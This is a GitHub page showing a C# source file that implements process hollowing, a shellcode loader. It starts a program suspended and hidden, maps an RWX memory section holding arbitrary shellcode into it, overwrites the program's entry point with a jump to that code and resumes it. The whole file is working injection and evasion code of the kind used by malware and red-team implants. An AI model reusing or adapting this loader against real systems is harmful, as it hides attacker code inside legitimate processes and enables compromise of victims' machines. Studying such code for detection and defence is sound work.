-
Notifications
You must be signed in to change notification settings - Fork 31
/
Loader.cs
477 lines (371 loc) · 15.6 KB
/
Loader.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
/***************
*
* Simple Process Hollowing in C#
*
* @author: Aaron Bray <[email protected]>
* @github: github.com/ambray
*
**************/
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
namespace ShellLoader
{
public sealed class Loader
{
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[StructLayout(LayoutKind.Sequential)]
internal struct STARTUPINFO
{
uint cb;
IntPtr lpReserved;
IntPtr lpDesktop;
IntPtr lpTitle;
uint dwX;
uint dwY;
uint dwXSize;
uint dwYSize;
uint dwXCountChars;
uint dwYCountChars;
uint dwFillAttributes;
uint dwFlags;
ushort wShowWindow;
ushort cbReserved;
IntPtr lpReserved2;
IntPtr hStdInput;
IntPtr hStdOutput;
IntPtr hStdErr;
}
public const uint PageReadWriteExecute = 0x40;
public const uint PageReadWrite = 0x04;
public const uint PageExecuteRead = 0x20;
public const uint MemCommit = 0x00001000;
public const uint SecCommit = 0x08000000;
public const uint GenericAll = 0x10000000;
public const uint CreateSuspended = 0x00000004;
public const uint DetachedProcess = 0x00000008;
public const uint CreateNoWindow = 0x08000000;
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot);
[DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)]
private static extern void GetSystemInfo(ref SYSTEM_INFO lpSysInfo);
[DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)]
private static extern IntPtr GetCurrentProcess();
[DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)]
private static extern void CloseHandle(IntPtr handle);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwUnmapViewOfSection(IntPtr hSection, IntPtr address);
[DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
private static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);
[DllImport("kernel32.dll")]
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.StdCall)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, IntPtr nSize, out IntPtr lpNumWritten);
[DllImport("kernel32.dll")]
static extern uint GetLastError();
[StructLayout(LayoutKind.Sequential)]
public struct SYSTEM_INFO
{
public uint dwOem;
public uint dwPageSize;
public IntPtr lpMinAppAddress;
public IntPtr lpMaxAppAddress;
public IntPtr dwActiveProcMask;
public uint dwNumProcs;
public uint dwProcType;
public uint dwAllocGranularity;
public ushort wProcLevel;
public ushort wProcRevision;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct LARGE_INTEGER
{
public uint LowPart;
public int HighPart;
}
IntPtr section_;
IntPtr localmap_;
IntPtr remotemap_;
IntPtr localsize_;
IntPtr remotesize_;
IntPtr pModBase_;
IntPtr pEntry_;
uint rvaEntryOffset_;
uint size_;
byte[] inner_;
public uint round_to_page(uint size)
{
SYSTEM_INFO info = new SYSTEM_INFO();
GetSystemInfo(ref info);
return (info.dwPageSize - size % info.dwPageSize) + size;
}
const int AttributeSize = 24;
private bool nt_success(long v)
{
return (v >= 0);
}
public IntPtr GetCurrent()
{
return GetCurrentProcess();
}
/***
* Maps a view of the current section into the process specified in procHandle.
*/
public KeyValuePair<IntPtr, IntPtr> MapSection(IntPtr procHandle, uint protect, IntPtr addr)
{
IntPtr baseAddr = addr;
IntPtr viewSize = (IntPtr)size_;
var status = ZwMapViewOfSection(section_, procHandle, ref baseAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, protect);
if (!nt_success(status))
throw new SystemException("[x] Something went wrong! " + status);
return new KeyValuePair<IntPtr, IntPtr>(baseAddr, viewSize);
}
/***
* Attempts to create an RWX section of the given size
*/
public bool CreateSection(uint size)
{
LARGE_INTEGER liVal = new LARGE_INTEGER();
size_ = round_to_page(size);
liVal.LowPart = size_;
var status = ZwCreateSection(ref section_, GenericAll, (IntPtr)0, ref liVal, PageReadWriteExecute, SecCommit, (IntPtr)0);
return nt_success(status);
}
/***
* Maps a view of the section into the current process
*/
public void SetLocalSection(uint size)
{
var vals = MapSection(GetCurrent(), PageReadWriteExecute, IntPtr.Zero);
if (vals.Key == (IntPtr)0)
throw new SystemException("[x] Failed to map view of section!");
localmap_ = vals.Key;
localsize_ = vals.Value;
}
/***
* Copies the shellcode buffer into the section
*/
public void CopyShellcode(byte[] buf)
{
var lsize = size_;
if (buf.Length > lsize)
throw new IndexOutOfRangeException("[x] Shellcode buffer is too long!");
unsafe
{
byte* p = (byte*)localmap_;
for (int i = 0; i < buf.Length; i++)
{
p[i] = buf[i];
}
}
}
/***
* Create a new process using the binary located at "path", starting up suspended.
*/
public PROCESS_INFORMATION StartProcess(string path)
{
STARTUPINFO startInfo = new STARTUPINFO();
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
uint flags = CreateSuspended | DetachedProcess | CreateNoWindow;
if (!CreateProcess((IntPtr)0, path, (IntPtr)0, (IntPtr)0, true, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo))
throw new SystemException("[x] Failed to create process!");
return procInfo;
}
const ulong PatchSize = 0x10;
/***
* Constructs the shellcode patch for the new process entry point. It will build either an x86 or x64 payload based
* on the current pointer size.
* Ultimately, we will jump to the shellcode payload
*/
public KeyValuePair<int, IntPtr> BuildEntryPatch(IntPtr dest)
{
int i = 0;
IntPtr ptr;
ptr = Marshal.AllocHGlobal((IntPtr)PatchSize);
unsafe
{
var p = (byte*)ptr;
byte[] tmp = null;
if (IntPtr.Size == 4)
{
p[i] = 0xb8; // mov eax, <imm4>
i++;
var val = (Int32)dest;
tmp = BitConverter.GetBytes(val);
}
else
{
p[i] = 0x48; // rex
i++;
p[i] = 0xb8; // mov rax, <imm8>
i++;
var val = (Int64)dest;
tmp = BitConverter.GetBytes(val);
}
for (int j = 0; j < IntPtr.Size; j++)
p[i + j] = tmp[j];
i += IntPtr.Size;
p[i] = 0xff;
i++;
p[i] = 0xe0; // jmp [r|e]ax
i++;
}
return new KeyValuePair<int, IntPtr>(i, ptr);
}
/**
* We will locate the entry point for the main module in the remote process for patching.
*/
private IntPtr GetEntryFromBuffer(byte[] buf)
{
IntPtr res = IntPtr.Zero;
unsafe
{
fixed (byte* p = buf)
{
uint e_lfanew_offset = *((uint*)(p + 0x3c)); // e_lfanew offset in IMAGE_DOS_HEADERS
byte* nthdr = (p + e_lfanew_offset);
byte* opthdr = (nthdr + 0x18); // IMAGE_OPTIONAL_HEADER start
ushort t = *((ushort*)opthdr);
byte* entry_ptr = (opthdr + 0x10); // entry point rva
var tmp = *((int*)entry_ptr);
rvaEntryOffset_ = (uint)tmp;
// rva -> va
if (IntPtr.Size == 4)
res = (IntPtr)(pModBase_.ToInt32() + tmp);
else
res = (IntPtr)(pModBase_.ToInt64() + tmp);
}
}
pEntry_ = res;
return res;
}
/**
* Locate the module base addresss in the remote process,
* read in the first page, and locate the entry point.
*/
public IntPtr FindEntry(IntPtr hProc)
{
var basicInfo = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
var success = ZwQueryInformationProcess(hProc, 0, ref basicInfo, (uint)(IntPtr.Size * 6), ref tmp);
if (!nt_success(success))
throw new SystemException("[x] Failed to get process information!");
IntPtr readLoc = IntPtr.Zero;
var addrBuf = new byte[IntPtr.Size];
if (IntPtr.Size == 4)
{
readLoc = (IntPtr)((Int32)basicInfo.PebAddress + 8);
}
else
{
readLoc = (IntPtr)((Int64)basicInfo.PebAddress + 16);
}
IntPtr nRead = IntPtr.Zero;
if (!ReadProcessMemory(hProc, readLoc, addrBuf, addrBuf.Length, out nRead) || nRead == IntPtr.Zero)
throw new SystemException("[x] Failed to read process memory!");
if (IntPtr.Size == 4)
readLoc = (IntPtr)(BitConverter.ToInt32(addrBuf, 0));
else
readLoc = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
pModBase_ = readLoc;
if (!ReadProcessMemory(hProc, readLoc, inner_, inner_.Length, out nRead) || nRead == IntPtr.Zero)
throw new SystemException("[x] Failed to read module start!");
return GetEntryFromBuffer(inner_);
}
/**
* Map our shellcode into the remote (suspended) process,
* locate and patch the entry point (so our code will run instead of
* the original application), and resume execution.
*/
public void MapAndStart(PROCESS_INFORMATION pInfo)
{
var tmp = MapSection(pInfo.hProcess, PageReadWriteExecute, IntPtr.Zero);
if (tmp.Key == (IntPtr)0 || tmp.Value == (IntPtr)0)
throw new SystemException("[x] Failed to map section into target process!");
remotemap_ = tmp.Key;
remotesize_ = tmp.Value;
var patch = BuildEntryPatch(tmp.Key);
try
{
var pSize = (IntPtr)patch.Key;
IntPtr tPtr = new IntPtr();
if (!WriteProcessMemory(pInfo.hProcess, pEntry_, patch.Value, pSize, out tPtr) || tPtr == IntPtr.Zero)
throw new SystemException("[x] Failed to write patch to start location! " + GetLastError());
}
finally
{
if(patch.Value != IntPtr.Zero)
Marshal.FreeHGlobal(patch.Value);
}
var tbuf = new byte[0x1000];
var nRead = new IntPtr();
if (!ReadProcessMemory(pInfo.hProcess, pEntry_, tbuf, 1024, out nRead))
throw new SystemException("Failed!");
var res = ResumeThread(pInfo.hThread);
if (res == unchecked((uint)-1))
throw new SystemException("[x] Failed to restart thread!");
}
public IntPtr GetBuffer()
{
return localmap_;
}
~Loader()
{
if (localmap_ != (IntPtr)0)
ZwUnmapViewOfSection(section_, localmap_);
}
/**
* Given a path to a binary and a buffer of shellcode,
* 1.) start a new (supended) process
* 2.) map a view of our shellcode buffer into it
* 3.) patch the original process entry point
* 4.) resume execution
*/
public void Load(string targetProcess, byte[] shellcode)
{
var pinf = StartProcess(targetProcess);
FindEntry(pinf.hProcess);
if (!CreateSection((uint)shellcode.Length))
throw new SystemException("[x] Failed to create new section!");
SetLocalSection((uint)shellcode.Length);
CopyShellcode(shellcode);
MapAndStart(pinf);
CloseHandle(pinf.hThread);
CloseHandle(pinf.hProcess);
}
public Loader()
{
section_ = new IntPtr();
localmap_ = new IntPtr();
remotemap_ = new IntPtr();
localsize_ = new IntPtr();
remotesize_ = new IntPtr();
inner_ = new byte[0x1000]; // Reserve a page of scratch space
}
}
}